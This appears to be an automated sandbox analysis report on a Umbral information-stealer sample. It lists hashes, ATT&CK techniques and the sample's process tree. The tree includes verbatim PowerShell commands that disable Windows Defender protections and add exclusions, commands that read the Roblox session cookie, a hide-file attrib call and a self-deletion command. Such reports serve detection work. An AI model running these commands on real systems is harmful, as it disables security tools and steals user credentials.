umbral | a90ab751bfb8cb4daee6dbb9a595c4af981c9792f245b87f821740fdf3ab28ce

Analysis

max time kernel
122s
max time network
123s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
02-02-2025 12:06

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General

Target

restaddagethrowcorned.exe
Size

230KB
MD5

2523f6fce113a0b9e94bd66d8cf2966b
SHA1

076d32cb0f32d5df6a4dc538beb7796261b76ffc
SHA256

a90ab751bfb8cb4daee6dbb9a595c4af981c9792f245b87f821740fdf3ab28ce
SHA512

c71d6c35be27bc90cd525b156e9bb016dab578740fcce3357382b52a1e4b0e4c42d55dd57e313c1f1db285d481f4e6a6a871da389b6d4076897553856aaaf5d5
SSDEEP

6144:eloZM+rIkd8g+EtXHkv/iD4xfQtxoj8e1mdi:IoZtL+EP85gxoD

Score

10^/10

umbral discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/3016-1-0x0000000000070000-0x00000000000B0000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2840	powershell.exe
2760	powershell.exe
2612	powershell.exe
3012	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	restaddagethrowcorned.exe

Deletes itself 1 IoCs

pid	Process
2344	cmd.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
9	discord.com
10	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2344	cmd.exe
1640	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1088	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1640	PING.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3016	restaddagethrowcorned.exe
2840	powershell.exe
2760	powershell.exe
2612	powershell.exe
1532	powershell.exe
3012	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3016	restaddagethrowcorned.exe
Token: SeIncreaseQuotaPrivilege	1692	wmic.exe
Token: SeSecurityPrivilege	1692	wmic.exe
Token: SeTakeOwnershipPrivilege	1692	wmic.exe
Token: SeLoadDriverPrivilege	1692	wmic.exe
Token: SeSystemProfilePrivilege	1692	wmic.exe
Token: SeSystemtimePrivilege	1692	wmic.exe
Token: SeProfSingleProcessPrivilege	1692	wmic.exe
Token: SeIncBasePriorityPrivilege	1692	wmic.exe
Token: SeCreatePagefilePrivilege	1692	wmic.exe
Token: SeBackupPrivilege	1692	wmic.exe
Token: SeRestorePrivilege	1692	wmic.exe
Token: SeShutdownPrivilege	1692	wmic.exe
Token: SeDebugPrivilege	1692	wmic.exe
Token: SeSystemEnvironmentPrivilege	1692	wmic.exe
Token: SeRemoteShutdownPrivilege	1692	wmic.exe
Token: SeUndockPrivilege	1692	wmic.exe
Token: SeManageVolumePrivilege	1692	wmic.exe
Token: 33	1692	wmic.exe
Token: 34	1692	wmic.exe
Token: 35	1692	wmic.exe
Token: SeIncreaseQuotaPrivilege	1692	wmic.exe
Token: SeSecurityPrivilege	1692	wmic.exe
Token: SeTakeOwnershipPrivilege	1692	wmic.exe
Token: SeLoadDriverPrivilege	1692	wmic.exe
Token: SeSystemProfilePrivilege	1692	wmic.exe
Token: SeSystemtimePrivilege	1692	wmic.exe
Token: SeProfSingleProcessPrivilege	1692	wmic.exe
Token: SeIncBasePriorityPrivilege	1692	wmic.exe
Token: SeCreatePagefilePrivilege	1692	wmic.exe
Token: SeBackupPrivilege	1692	wmic.exe
Token: SeRestorePrivilege	1692	wmic.exe
Token: SeShutdownPrivilege	1692	wmic.exe
Token: SeDebugPrivilege	1692	wmic.exe
Token: SeSystemEnvironmentPrivilege	1692	wmic.exe
Token: SeRemoteShutdownPrivilege	1692	wmic.exe
Token: SeUndockPrivilege	1692	wmic.exe
Token: SeManageVolumePrivilege	1692	wmic.exe
Token: 33	1692	wmic.exe
Token: 34	1692	wmic.exe
Token: 35	1692	wmic.exe
Token: SeDebugPrivilege	2840	powershell.exe
Token: SeDebugPrivilege	2760	powershell.exe
Token: SeDebugPrivilege	2612	powershell.exe
Token: SeDebugPrivilege	1532	powershell.exe
Token: SeIncreaseQuotaPrivilege	1648	wmic.exe
Token: SeSecurityPrivilege	1648	wmic.exe
Token: SeTakeOwnershipPrivilege	1648	wmic.exe
Token: SeLoadDriverPrivilege	1648	wmic.exe
Token: SeSystemProfilePrivilege	1648	wmic.exe
Token: SeSystemtimePrivilege	1648	wmic.exe
Token: SeProfSingleProcessPrivilege	1648	wmic.exe
Token: SeIncBasePriorityPrivilege	1648	wmic.exe
Token: SeCreatePagefilePrivilege	1648	wmic.exe
Token: SeBackupPrivilege	1648	wmic.exe
Token: SeRestorePrivilege	1648	wmic.exe
Token: SeShutdownPrivilege	1648	wmic.exe
Token: SeDebugPrivilege	1648	wmic.exe
Token: SeSystemEnvironmentPrivilege	1648	wmic.exe
Token: SeRemoteShutdownPrivilege	1648	wmic.exe
Token: SeUndockPrivilege	1648	wmic.exe
Token: SeManageVolumePrivilege	1648	wmic.exe
Token: 33	1648	wmic.exe
Token: 34	1648	wmic.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 3016 wrote to memory of 1692	3016	restaddagethrowcorned.exe	30
PID 3016 wrote to memory of 1692	3016	restaddagethrowcorned.exe	30
PID 3016 wrote to memory of 1692	3016	restaddagethrowcorned.exe	30
PID 3016 wrote to memory of 2820	3016	restaddagethrowcorned.exe	33
PID 3016 wrote to memory of 2820	3016	restaddagethrowcorned.exe	33
PID 3016 wrote to memory of 2820	3016	restaddagethrowcorned.exe	33
PID 3016 wrote to memory of 2840	3016	restaddagethrowcorned.exe	35
PID 3016 wrote to memory of 2840	3016	restaddagethrowcorned.exe	35
PID 3016 wrote to memory of 2840	3016	restaddagethrowcorned.exe	35
PID 3016 wrote to memory of 2760	3016	restaddagethrowcorned.exe	37
PID 3016 wrote to memory of 2760	3016	restaddagethrowcorned.exe	37
PID 3016 wrote to memory of 2760	3016	restaddagethrowcorned.exe	37
PID 3016 wrote to memory of 2612	3016	restaddagethrowcorned.exe	39
PID 3016 wrote to memory of 2612	3016	restaddagethrowcorned.exe	39
PID 3016 wrote to memory of 2612	3016	restaddagethrowcorned.exe	39
PID 3016 wrote to memory of 1532	3016	restaddagethrowcorned.exe	41
PID 3016 wrote to memory of 1532	3016	restaddagethrowcorned.exe	41
PID 3016 wrote to memory of 1532	3016	restaddagethrowcorned.exe	41
PID 3016 wrote to memory of 1648	3016	restaddagethrowcorned.exe	43
PID 3016 wrote to memory of 1648	3016	restaddagethrowcorned.exe	43
PID 3016 wrote to memory of 1648	3016	restaddagethrowcorned.exe	43
PID 3016 wrote to memory of 2940	3016	restaddagethrowcorned.exe	45
PID 3016 wrote to memory of 2940	3016	restaddagethrowcorned.exe	45
PID 3016 wrote to memory of 2940	3016	restaddagethrowcorned.exe	45
PID 3016 wrote to memory of 2912	3016	restaddagethrowcorned.exe	47
PID 3016 wrote to memory of 2912	3016	restaddagethrowcorned.exe	47
PID 3016 wrote to memory of 2912	3016	restaddagethrowcorned.exe	47
PID 3016 wrote to memory of 3012	3016	restaddagethrowcorned.exe	49
PID 3016 wrote to memory of 3012	3016	restaddagethrowcorned.exe	49
PID 3016 wrote to memory of 3012	3016	restaddagethrowcorned.exe	49
PID 3016 wrote to memory of 1088	3016	restaddagethrowcorned.exe	51
PID 3016 wrote to memory of 1088	3016	restaddagethrowcorned.exe	51
PID 3016 wrote to memory of 1088	3016	restaddagethrowcorned.exe	51
PID 3016 wrote to memory of 2344	3016	restaddagethrowcorned.exe	53
PID 3016 wrote to memory of 2344	3016	restaddagethrowcorned.exe	53
PID 3016 wrote to memory of 2344	3016	restaddagethrowcorned.exe	53
PID 2344 wrote to memory of 1640	2344	cmd.exe	55
PID 2344 wrote to memory of 1640	2344	cmd.exe	55
PID 2344 wrote to memory of 1640	2344	cmd.exe	55

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2820	attrib.exe

C:\Users\Admin\AppData\Local\Temp\restaddagethrowcorned.exe
"C:\Users\Admin\AppData\Local\Temp\restaddagethrowcorned.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3016
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1692
- C:\Windows\system32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\restaddagethrowcorned.exe"
  2⤵
  - Views/modifies file attributes
  PID:2820
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\restaddagethrowcorned.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2840
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2760
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2612
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1532
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1648
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:2940
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:2912
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3012
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:1088
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\restaddagethrowcorned.exe" && pause
  2⤵
  - Deletes itself
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2344
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:1640

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
d3dd453017426ffddb5c478e7a54bf66

SHA1
7e6af7f8c394e6f967ec8f2371ddb2e000d6a446

SHA256
ba24278fb900942e7c9a148a24ba8609150cd6a78a64b0439832089e05b32d5e

SHA512
1cfd33d0b8e5e1666df9d4b618c98f81c58f127d197caf408c703475430993e6c4e9f21a05b88f41b12cb3ae90a3e134614763af57ee768c3333f95c4f48b25b

Download Submit
memory/2760-14-0x000000001B5D0000-0x000000001B8B2000-memory.dmp

Filesize
2.9MB

Download
memory/2760-15-0x0000000002760000-0x0000000002768000-memory.dmp

Filesize
32KB

Download
memory/2840-8-0x0000000001E10000-0x0000000001E18000-memory.dmp

Filesize
32KB

Download
memory/2840-7-0x000000001B7D0000-0x000000001BAB2000-memory.dmp

Filesize
2.9MB

Download
memory/3012-44-0x0000000002040000-0x0000000002048000-memory.dmp

Filesize
32KB

Download
memory/3016-0-0x000007FEF5103000-0x000007FEF5104000-memory.dmp

Filesize
4KB

Download
memory/3016-1-0x0000000000070000-0x00000000000B0000-memory.dmp

Filesize
256KB

Download
memory/3016-2-0x000007FEF5100000-0x000007FEF5AEC000-memory.dmp

Filesize
9.9MB

Download
memory/3016-48-0x000007FEF5100000-0x000007FEF5AEC000-memory.dmp

Filesize
9.9MB

Download